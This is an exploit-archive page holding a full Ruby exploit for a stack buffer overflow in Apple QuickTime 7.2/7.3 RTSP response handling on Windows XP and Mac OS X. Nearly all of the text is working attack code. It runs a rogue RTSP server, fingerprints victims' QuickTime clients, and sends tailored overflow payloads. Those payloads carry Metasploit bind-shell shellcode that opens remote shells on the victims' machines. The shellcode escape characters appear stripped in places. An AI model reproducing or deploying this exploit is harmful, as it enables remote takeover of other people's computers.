[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : Apple QuickTime 7.2/7.3 RSTP Response Universal Exploit (win/osx)
# Published : 2007-11-29
# Author : Subreption LLC.
# Previous Title : Firefly Media Server (mt-daapd) 2.4.1 / SVN 1699 Multiple Vulnerabilities
# Next Title : Simple HTTPD <= 1.38 Multiple Remote Vulnerabilities


# Copyright (C) 2007 Subreption LLC. All rights reserved.
# Visit http://blog.subreption.com for exploit development notes.
#
# References:
#   http://www.milw0rm.com/exploits/4648 (original Microsoft Windows code)
#   http://www.milw0rm.com/exploits/4651 (recent Microsoft Windows exploit)
#   From Metasploit: apple_quicktime_rtsp_response.rb (by MC and HD Moore)
#   http://nvd.nist.gov/nvd.cfm?cvename=CVE-2002-0252
#   BID: http://www.securityfocus.com/bid/26549
#
# Notes:
#   Payload badchars: x00 x09 x0a x0d x20 x22 x25 x26 x27 x2b x2f
#                     x3a x3c x3e x3f x40
#
#   The example addresses and data will trigger an IDS signature easily.
#   Remove them if you're not testing, and change padding sizes accordingly. 
#   Use the String.rand_alpha() method to generate random strings.
#
# Version: 1.0 (+leopard_ppc +leopard_x86 +tiger_x86 +tiger_ppc +win_xpsp2)
#
# We would like to thank...
#   Kevin Finisterre, for providing PowerPC testing environment and general
#   aid in the development and proofing of this code for Mac OS X on PPC.

#   HD Moore for his suggestions and Metasploit code.
#
# Distributed under the terms of the Subreption Open Source License v1.0
# http://static.subreption.com/public/documents/subreption-sosl-1.0.txt
#

require 'socket'
include Socket::Constants

def String.rand_alpha(size = 16)
  (1..size).collect { (i = Kernel.rand(62); i += ((i < 10) ? 48 : ((i < 36) ? 55 : 61 ))).chr }.join
end

module MiscUtils
  def self.myputs(msg)
    puts "#{$0}: #{msg}"
  end
  
  # From Metasploit Rex library:
  # http://metasploit.com/svn/framework3/trunk/lib/rex/arch/x86.rb
  def self.rel_number(num, delta = 0)
    s = num.to_s
    case s[0, 2]
      when '$+'
       num = s[2 .. -1].to_i
      when '$-'
       num = -1 * s[2 .. -1].to_i
      when '0x'
       num = s.hex
      else
       delta = 0
    end
    return num + delta
  end
end

# msf osx/x86/shell_bind_tcp - 81 bytes port=5354 + exit()
MSF_OSX_X86 =
"x31xc0x50x68xffx02x14xeax89xe7x50x6ax01x6ax02x6a" +
"x10xb0x61xcdx80x57x50x50x6ax68x58xcdx80x89x47xec" +
"xb0x6axcdx80xb0x1excdx80x50x50x6ax5ax58xcdx80xff" +
"x4fxe4x79xf6x50x68x2fx2fx73x68x68x2fx62x69x6ex89" +
"xe3x50x54x54x53x50xb0x3bxcdx80x31xc0x50xb0x01xcd" +
"x80"

# msf win32_bind - EXITFUNC=process LPORT=4444 Size=696 Encoder=Alpha2
MSF_WIN_X86 =
"xebx03x59xebx05xe8xf8xffxffxffx49x37x49x49x49x49" +
"x49x49x49x49x49x49x49x49x49x49x49x49x51x5ax6ax42" +
"x58x50x30x42x31x41x42x6bx42x41x52x32x42x42x32x41" +
"x41x30x41x41x58x42x50x38x42x42x75x39x79x4bx4cx61" +
"x7ax38x6bx50x4dx68x68x69x69x4bx4fx4bx4fx59x6fx53" +
"x50x4ex6bx32x4cx44x64x35x74x6ex6bx30x45x57x4cx4e" +
"x6bx41x6cx64x45x51x68x46x61x4ax4fx6cx4bx30x4fx46" +
"x78x6cx4bx71x4fx47x50x33x31x5ax4bx61x59x6ex6bx50" +
"x34x4ex6bx46x61x78x6ex50x31x69x50x4ex79x4ex4cx4b" +
"x34x6bx70x52x54x63x37x38x41x6ax6ax44x4dx63x31x6b" +
"x72x68x6bx49x64x77x4bx30x54x41x34x45x78x52x55x69" +
"x75x6ex6bx73x6fx75x74x56x61x7ax4bx33x56x4ex6bx36" +
"x6cx72x6bx4cx4bx53x6fx35x4cx77x71x38x6bx47x73x44" +
"x6cx6ex6bx4bx39x32x4cx35x74x77x6cx65x31x69x53x56" +
"x51x49x4bx65x34x4ex6bx67x33x34x70x4cx4bx77x30x74" +
"x4cx6ex6bx64x30x47x6cx4cx6dx6ex6bx41x50x63x38x53" +
"x6ex70x68x4ex6ex62x6ex56x6ex38x6cx52x70x6bx4fx7a" +
"x76x72x46x61x43x43x56x52x48x77x43x64x72x51x78x71" +
"x67x50x73x70x32x71x4fx31x44x4bx4fx4ax70x75x38x78" +
"x4bx68x6dx49x6cx75x6bx46x30x4bx4fx79x46x53x6fx6f" +
"x79x38x65x73x56x4cx41x58x6dx64x48x65x52x72x75x32" +
"x4ax73x32x49x6fx4ax70x33x58x78x59x63x39x39x65x4c" +
"x6dx72x77x6bx4fx6ex36x50x53x52x73x51x43x70x53x33" +
"x63x71x53x63x63x61x53x33x63x4bx4fx5ax70x73x56x51" +
"x78x37x61x41x4cx50x66x53x63x6cx49x5ax41x5ax35x51" +
"x78x4dx74x67x6ax30x70x4bx77x66x37x79x6fx4bx66x41" +
"x7ax32x30x72x71x33x65x59x6fx38x50x70x68x6fx54x6e" +
"x4dx64x6ex38x69x32x77x4bx4fx4ex36x51x43x41x45x39" +
"x6fx4ax70x71x78x4ax45x71x59x6dx56x43x79x76x37x4b" +
"x4fx39x46x52x70x72x74x46x34x31x45x4bx4fx68x50x4e" +
"x73x43x58x6bx57x71x69x6fx36x53x49x76x37x6bx4fx38" +
"x56x71x45x6bx4fx48x50x35x36x70x6ax31x74x45x36x31" +
"x78x62x43x32x4dx6fx79x7ax45x71x7ax30x50x33x69x46" +
"x49x6ax6cx6bx39x6ax47x73x5ax51x54x6fx79x6dx32x30" +
"x31x59x50x38x73x4dx7ax59x6ex43x72x36x4dx69x6ex73" +
"x72x54x6cx6fx63x4cx4dx72x5ax74x78x4cx6bx6cx6bx6e" +
"x4bx35x38x50x72x6bx4ex4cx73x64x56x4bx4fx43x45x32" +
"x64x79x6fx7ax76x33x6bx32x77x62x72x63x61x33x61x30" +
"x51x30x6ax53x31x71x41x46x31x52x75x32x71x6bx4fx4e" +
"x30x70x68x4ex4dx7ax79x46x65x4ax6ex72x73x69x6fx58" +
"x56x72x4ax69x6fx69x6fx66x57x39x6fx58x50x4cx4bx41" +
"x47x6bx4cx6cx43x4fx34x32x44x4bx4fx68x56x76x32x4b" +
"x4fx4ex30x71x78x33x4ex6ax78x49x72x43x43x61x43x4b" +
"x4fx48x56x69x6fx6ax70x42"

module AppleOSX
class QuicktimeRedux
  TARGET_MATRIX = {
    # Mac OS X Leopard on PowerPC (ppc)
    "7.3-Mac 10.5.1-PPC" => {
      # Stack on PPC is still executable
      :ret_address  => 0xbfffcb0c+50,
      :padding_size => 559,
      
      # Shellcode will -likely- require changes here
      :prepend_data => (
        [0xdead5841].pack("N") +  # r22
        [0xdead5842].pack("N") +  # r23
        [0xdead4141].pack("N") +  # r24
        [0xdead4142].pack("N") +  # r25
        [0xdead4143].pack("N") +  # r26
        [0xdead4144].pack("N") +  # r27
        [0xdead4145].pack("N") +  # r28
        [0xdead4146].pack("N") +  # r29
        [0xdead4147].pack("N") +  # r30
        [0xdead4148].pack("N") +  # r31
        [0xdead4150].pack("N") +  #
        [0xdead4151].pack("N") +  #
        [0xdead4152].pack("N") +  # at $sp+0
        [0xdead4153].pack("N")    # at $sp+4
      ),
      :append_data  => (""),
      :shellcode    => ( "x69" * 120 )
    },
    
    # Mac OS X Leopard on IA32 (x86) build 9B18
    "7.3-Mac 10.5.1-IA32" => {
      # Return-to-dyld stub is not reliable unless the machine
      # hasn't randomized the dyld base address.
      :ret_address  => 0xdeadbeef,
      :padding_size => 291,
      :prepend_data => (
        [0x11223344].pack("V")  +      # ebx
        [0x41424142].pack("V")  +      # esi
        [0x31337666].pack("V")  +      # edi
        [0xdefacedd].pack("V")         # ebp
      ),
      :append_data  => (
        [0xa0a7e44a].pack("V")  +      # to dyld_stub_exit
        [0xbffffaa3].pack("V")         # address to /bin/bash
      ),
      
      :shellcode    => (
        "screencapture -S ~/Desktop/US.png; exit;" +
        ("x90" * 130) + MSF_OSX_X86
      )
    },
    
    # Mac OS X Tiger on IA32 (x86) build 8S2167 (10.4.11)
    # Apparently, it advertises 10.4.9 instead of 10.4.11
    "7.3-Mac 10.4.9-IA32" => {
      # Return-to-dyld stub works reliably on Tiger
      # 0xa0be2280 for dyld_stub_system
      :ret_address  => 0xa0be2280,
      :padding_size => 291,
      :prepend_data => (
        [0x917f1413].pack("V")  +      # ebx
        [0xffffeae6].pack("V")  +      # esi
        [0x14533050].pack("V")  +      # edi
        [0xbfffd27c].pack("V")         # ebp
      ),
      
      # exit() stub is problematic with some atexit code
      # because of corrupted frames, we use abort() instead.
      # A /bin/bash string (from env) is usually at 0xbffffc23
      # when running under gdb, or 0xbffffe5c if started
      # via dock. If started from Terminal, it's at 0xbffffc3e.
      :append_data  => (
        [0xa0815587].pack("V")  +      # to dyld_stub_abort
        [0xbffffc3e].pack("V")         # address system() command
      ),
      
      # NOP sled + Metasploit shellcode + NOP sled + int3
      :shellcode    => (
        ("x90" * 140) + MSF_OSX_X86 + ("x90" * 30) + "xcc"
      )
    },
    
    # Mac OS X Tiger on PowerPC (PPC)
    # It also advertises 10.4.9 instead of 10.4.11
    "7.3-Mac 10.4.9-PPC" => {
      # Stub address for system() contains a null byte.
      # system() address contains filtered char.
      :ret_address  => 0xdeadbeef,
      :padding_size => 559,
      :prepend_data => (
        [0xdead5841].pack("N") +  # r22
        [0xdead5842].pack("N") +  # r23
        [0xdead4141].pack("N") +  # r24
        [0xdead4142].pack("N") +  # r25
        [0xdead4143].pack("N") +  # r26
        [0xdead4144].pack("N") +  # r27
        [0xdead4145].pack("N") +  # r28
        [0xdead4146].pack("N") +  # r29
        [0xdead4147].pack("N") +  # r30
        [0xdead4148].pack("N") +  # r31
        String.rand_alpha(16)
      ),
      :append_data  => (
        [0x942bce80].pack("N")  + # to dyld_stub_abort
        [0x58585858].pack("N")
      ),
      :shellcode    => (
        "x69" * 120
      )
    },
    
    # Microsoft Windows targets
    
    # 7.3 on XP SP2, based on the original Metasploit module by MC
    # This one is elegant and reliable :)
    # (uses address from QuickTimeStreaming.qtx version 7.3.0.70)
    "7.3-Windows NT 5.1Service Pack 2-IA32" => {
      # pop esi; pop ebx; ret
      :ret_address  => 0x67644297,
      :padding_size => 991+MSF_WIN_X86.size,
      :prepend_data => (
        "xeb" + [MiscUtils::rel_number(6, -2)].pack("V")[0,1] +
        "x90x90"
      ),
      :append_data  => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),
      :shellcode    => MSF_WIN_X86
    },
    
    # 7.3 on Vista
    # We are not including it yet, feel free to play around
    "7.3-Windows NT 6.0-IA32" => {
      :ret_address  => 0xdeadbeef,
      :padding_size => 991+MSF_WIN_X86.size,
      :prepend_data => (""),
      :append_data  => ( String.rand_alpha(4092 - MSF_WIN_X86.size) ),
      :shellcode    => MSF_WIN_X86
    }
  }
  
  # Generates headers for a Quicktime RTSP response, and injects
  # the payload into the Content-Type header (including the padding).
  def make_header(body_length, payload)
    "RTSP/1.0 200 OKrn"                           +
    "CSeq: 1rn"                                   +
    "Content-Base: rtsp://0.0.0.0/#{@mpfile}rn"  +
    "Content-Type: #{payload}rn"                  +
    "Content-Length: #{body_length}rn"            +
    "rn"
  end
  
  # Generates a body for a Quicktime RTSP response
  def make_body
    rand_str = String.rand_alpha(rand(10)+1)
    rand_nam = String.rand_alpha(rand(20)+1)
    "v=0rn"                                                   +
    "o=- #{rand(0xffffffff)} 1 IN IP4 0.0.0.0rn"              +
    "s=MPEG-1 or 2 Audio, streamed by #{rand_str}rn"          +
    "i=#{@mpfile}rn"                                          +
    "t=0 0rn"                                                 +
    "a=tool:#{rand_nam}rn"                                    +
    "a=type:broadcastrn"                                      +
    "a=control:*rn"                                           +
    "a=range:npt=0-213.077rn"                                 +
    "a=x-qt-text-nam:MPEG-1 or 2 Audio, streamed by #{rand_str}rn"  +
    "a=x-qt-text-inf:#{@mpfile}rn"                            +
    "m=audio 0 RTP/AVP 14rn"                                  +
    "c=IN IP4 0.0.0.0rn"                                      +
    "a=control:track1rn"
  end
  
  # Construct a payload without filtered characters, for the target provided.
  # The information is extracted from the target matrix variable.
  def build_payload(target)
    target_name = "#{target[:version]}-#{target[:os]}-#{target[:arch]}"
    selected    = TARGET_MATRIX[target_name]
    unless selected
      MiscUtils::myputs "Target not available, check User-Agent format!"
       MiscUtils::myputs target_name
      return ''
    end
    
    MiscUtils::myputs "Building payload for '#{target_name}'..."
    MiscUtils::myputs "Return address: #{sprintf("0x%08x",selected[:ret_address])}, " +
                      "shellcode: #{selected[:shellcode].size} bytes."
    
    payload = String.rand_alpha(selected[:padding_size]-selected[:shellcode].size)
    
    unless target[:os] =~ /Windows/
      payload << selected[:shellcode]
      payload << selected[:prepend_data]
      
      # Handle big-endian / little-endian
      if target[:arch] == "PPC"
        payload << [selected[:ret_address]].pack("N")
      else
        payload << [selected[:ret_address]].pack("V")
      end
    else
      payload << selected[:prepend_data]
      payload << [selected[:ret_address]].pack("V")
      payload << selected[:shellcode]
    end
    
    # Appended data comes always at end of payload
    payload << selected[:append_data]
    
    MiscUtils::myputs "Payload: #{payload.size} bytes (padding=#{payload[0,8]}...)"
    
    return payload
  end
  
  # Threaded 'listener': waits until a Quicktime client connects and fingerprints
  # its version, architecture and operating system version. Builds a response with
  # the correct payload and sends it back to the client.
  def exploit
    loop do
      socket = @server.accept
      Thread.start do
        s    = socket
        port = s.peeraddr[1]
        name = s.peeraddr[2]
        addr = s.peeraddr[3]
        
        MiscUtils::myputs "RTSP Connection from #{name} (#{addr}:#{port})"
        
        request = s.recv(1024)
        # Verify it's Quicktime and not some other application
        # ie. QuickTime E-/7.3 (qtver=7.3;os=Windows NT 6.0)
        if request =~ /User-Agent: QuickTime/i
          target = Hash.new
          
          if request =~ /Windows/
            qtver = request.scan(/(qtver=(.+?);os=(.+?))rn/).flatten
            target[:version] = qtver[0]
            target[:arch]    = "IA32"
            target[:os]      = qtver[1]
          else
            qtver = request.scan(/(qtver=(.+?);cpu=(.+?);os=(.+?))rn/).flatten
            target[:version] = qtver[0]
            target[:arch]    = qtver[1]
            target[:os]      = qtver[2]
          end
          
          MiscUtils::myputs "RTSP Request from Quicktime: #{qtver[0]} on #{qtver[3]} #{qtver[2]}"
          
          # Build payload and the full response body
          begin
            payload = build_payload(target)
            body    = make_body()
            header  = make_header(body.size, payload)
            resp    = (header+body)
          rescue
            raise "Something happened trying to build a response!"
          end
          
          # Send it to the client
          s.write(resp)
          
          MiscUtils::myputs "RTSP Sent #{resp.size} bytes..."
        else
          # It's not a Quicktime client
          MiscUtils::myputs "RTSP Connection doesn't seem to come from Quicktime!"
          s.write(String.rand_alpha(rand(500)))
        end
      end
    end
  end
  
  # Initialize the exploit with the local listening port, server socket, etc.
  def initialize(rtsp_port = 554)
    @server = TCPServer.new("0.0.0.0", rtsp_port)
    @mpfile = String.rand_alpha(rand(12)+1) + '.mp3'
    
    rtsp_addrs  = @server.addr[2..-1].uniq.collect{|a|"#{a}:#{rtsp_port}"}.join(' ')
    MiscUtils::myputs "RTSP Listening on #{rtsp_addrs}, serving #{@mpfile}"
    MiscUtils::myputs "RTSP URL: rtsp://#{rtsp_addrs}/#{@mpfile}"
  end
end
end

trap("INT") do
  puts "Exiting!"
  exit
end

puts "Quicktime 7.3 RTSP Response Content-Type Header Stack Buffer Overflow exploit"
puts "Copyright (C) 2007, Subreption LLC. All rights reserved."
test_run = AppleOSX::QuicktimeRedux.new()
test_run.exploit

# www.Syue.com [2007-11-29]